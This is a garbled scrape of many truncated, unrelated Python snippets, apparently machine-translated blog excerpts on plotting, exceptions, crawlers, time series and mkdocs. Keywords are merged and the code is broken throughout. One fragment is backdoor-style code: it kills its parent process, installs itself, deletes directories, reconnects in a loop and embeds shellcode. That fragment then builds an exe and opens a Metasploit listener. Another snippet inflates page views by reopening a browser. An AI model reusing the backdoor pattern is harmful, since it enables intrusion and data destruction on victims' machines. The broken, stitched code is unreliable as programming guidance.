make apps with python

shape of a line.03| ticks, labels, and headings:04| legend:When you add subplot, it is possible to call Ax.legend () or plt.legend () after passing in the label parameter.05| Pandas drawing:Matplotlib is not a very advanced tool, and to successfully assemble a chart, you have to use a variety of components to implement it.This is due to the fact that building a good chart must be used, but matplotlib must write many lines of code to implement this function, but pandas may be easily implemented

changes. If request = = ' P ': key = ' phone ' elif request = = ' A ': key = ' addr ' else:print (' Your Input Options ' Error. ') Os._exit (1) #异常退出, the following code is not executed. # Determine if the user entered the name in the dictionary, here I made a change. If name in People:print ("{} ' s {} is {}."). Format (Name,labels[key],people[name][key]) else:print ("Sorry.{} ' {} is not existe '. Format (Name,labels[key]) Operation Result: # 用户不存在的情况下。 [[emailprotected] di

Use only Python's random library to generate html-formatted label clouds for existing Data. The idea is to generate a view of the data for different sizes of different color words depending on how many times the same word Appears.For example, multiple data in the following format:1gaming1skateboarding2girl friend3surfing the internet3ted talks4reading4writing5facebook5gaming6gaming6martial Arts7partying7playing sport7travel8driving8socializing with friends9eating9procrastinating9sleeping10winnin

In the execution of the program, it is unavoidable to encounter for some reason, such as the input and output caused by a fatal error (such as because the input file name is wrong, resulting in the inability to run the relevant code. ）。 At this point you do not want the program to hang up directly, but by displaying some information to make it end smoothly. At this point, you can use the try,except and else three keywords to form a well-inclusive prog

the residual of the sequence, basically white noiseFig = Plt.figure (figsize= (12,8)) Ax1 = Fig.add_subplot (211) FIG = SM.GRAPHICS.TSA.PLOT_ACF (Resid.values.squeeze (), lags =40, ax=ax1) ax2 = Fig.add_subplot (212) FIG = SM.GRAPHICS.TSA.PLOT_PACF (Resid, lags=40, AX=AX2) plt.show ()　　The model with autoregressive fitting is used to predict the results as follows:Fig=plt.figure (figsize= (15,7)) price2=strike_info=history_n (symbol= ' Cffex. IF1808 ', frequency= ' 60s ', end_time= ' 2018-07-01

1. Reference CSS. This is probably the most common practice. It defines a specific style for some specific elements. To use it, you need Add the 2. Introduce Js. Many special effects can also be processed using JavaScript, such as dynamic display effects or element encapsulation. Use You need to add the {{Htmlbuf }} Here you can see what htmlbuf is, which is used to collect class attributes of each snippet class. Add the snippet object to htmlbuf. At the same time, it will output the snippet H

First, this is Python.For I in range (1): print ("". Join (["%d*%d=%d"% (j, I, I*j) for J in range (1, i+1)]))DetailedFor I in range (1): #当i = = 1 O'Clock: print ("". Join (["%d*%d=%d"% (j, I, I*j) for J in range (1, i+1)])) a ["%d*%d=%d" % (J, I, I*j)] is said to be the first J [J for J in Range] B for J in range (1, i + 1)--When I==1, is J gets 1, if it is 2,j for the C so a 1*1=1 “ ”。 Join 2*1 =2Using the Python list derivation to

Principle 1: Not optimizedPrinciple 2: Do not optimize those unimportant parts (otherwise it will decrease readability)Solution:1. Using functions, local variables are much faster than global variables. Use functions as much as possible, such as main ()2. Selective removal of property access. If you use the From math import sqrt instead of calling math.sqrt () more than once in the program, or declaring the local variable directly.Import Math def compute_roots (nums): = math.sqrt = []

Using python to make beautiful image Crawlers, The delayed loading technology is used for the loading of petal images. The source code can only download more than 20 images. After modification, the source code can basically download all the images, but the speed is a little slow and will be optimized later. import urllib, urllib2, re, sys, os,requestspath=r"C:\wqa\beautify"url = 'http://huaban.com/favorite/

(path)ifpath! = Base_dir andMei.lower () not inchPath.lower ():Try: Shutil.rmtree (path)except: Pass except: Passdefmain (): kill (getppid ()) time.sleep (startup_sleep) install () clean () whiletrue:p=Worker () P.daemon=True p.start () p.join () time.sleep (reconnect_sleep)if __name__=="__main__": Multiprocessing.freeze_support () main ()sc.pysc= ' \x12\x34 ' ... # sc = Sc.dll Open with RB modeThen Pythoninstall generates an Exe.　　Listening:MSF > Use Exploit/multi/

,you# ranging method def ceju (): global flag Global NUM Global run global distance If (run==1): trig.value (1) pyb.udelay (+) trig.value (0) while (echo.value () ==0): Trig.value (1) pyb.udelay (+) trig.value (0) flag=0 if (echo.value () ==1): Flag=1 while (echo.value () ==1): flag=1 if (num!=0): #测距 D ISTANCE=NUM/10000*34299/2 #print (' Distance: ') #print (Distance, ' cm ') pyb.delay (500) Flag=0 run=0 return distancedef main (): global distance global Zuo Global

Import WebBrowser as Webimport timeimport OSI = 0MAXNUM = 1while I The code and simply need a third-party function and the file to invoke the system is OK.Remember to set the number of times to brush, or the computer will not be affected!Using Python to make web crawler under Windows environment

*Self.height the Print('length =', Self.length,'width =', Self.width,'height =', Self.height,'valum=', self.__valum) - - defInfo_color (self): - #Self.set_color (Self._color) #在类中, the way function calls functions + Print('The color of box is', Self._color) - + defOpen_box (self): A ifbox.openstate==0: at Print('Open the box.') -Box.openstate=1 - Else: - Print('The box is open and cannot be opened repeatedly.') - if __name

In the process of data processing often encounter various time data, but because the format of time data is not uniform, so there are some problems in data processing. Python's standard library provides the appropriate modules, but usability is not high, and is not human-friendly. This column has been an article about how time data (lubridate packages) are handled in R, while Python also has packages that implement similar functionality. This article

This Python module can be used to assume a lump of MD as a website. Reference: http://www.mkdocs.org/Installation configurationpip install mkdocsmkdocs new my-projectcd my-project只需要将一坨md丢到相应的目录启动服务即可.mkdocs serveAccess effectCan also diy his theme Theme:readthedocs\I like this theme mkdocs-materialReference siteInstall the latest version of Material with pip:pip install mkdocs-materialAppend the following line to your project‘s mkdocs.yml:theme: nam

可以再试试传入字符串, the exception is thrown by print (A.get_price ()) #最终版本 v2.0classapple (object): @property defget_price (self): nbsp;try:returnself.__price exceptAttributeError: print ("Nodata ...") @get_price. setter#@ The property itself creates another adorner @get_price.setter, which is responsible for turning a setter method into an attribute assignment defset_score (self, price): ifnotisinstance (Price,int): raisevalueerror (' Pricemust beaninteger! ') self.__price=pricea=apple () A.set_sco

This article reproduced with https://haoluobo.com/The Python mailing list says that "Python3 cannot be popularized within 10." In my opinion this kind of view is somewhat too pessimistic, python3 and python2 are incompatible, but the difference between them is not as large as many people think. You just need to make some changes to your code to support both Python2 and Python3. I'll briefly explain how to g

For some reason, CentOS 5.4, the default Python version is still 2.4. But Python is very important in CentOS, but the 2.4 version of Python has many modules, and the latest version of Python 2.6 adds a lot of advanced features. Therefore, it is necessary to upgrade.There are many ways to upgrade, one is direct rpm, the

the crawl.A variable named HTML represents a BeautifulSoup object obtained through the GetPage () function, and observing the original page reveals that the poem content is stored in a div of the attribute "class = ' Son2 '" and is the second such label in the HTML document ( The first such tag is a search box).Useget_text()function getsText content, the whole poem is stored in the "original text:" After, so in the obtained content found in the "original text:" Position and offset 3 positions a

Transferred from: Http://www.elias.cn/Python/PythonPathThe article is simple and understandable.Sometimes the program we are modifying or debugging will be a library, for the convenience of modification, we may not want to put it under the site-packages, but rather to keep it in the original engineering directory, to facilitate the management of the IDE and version control tools. So how do you get the Python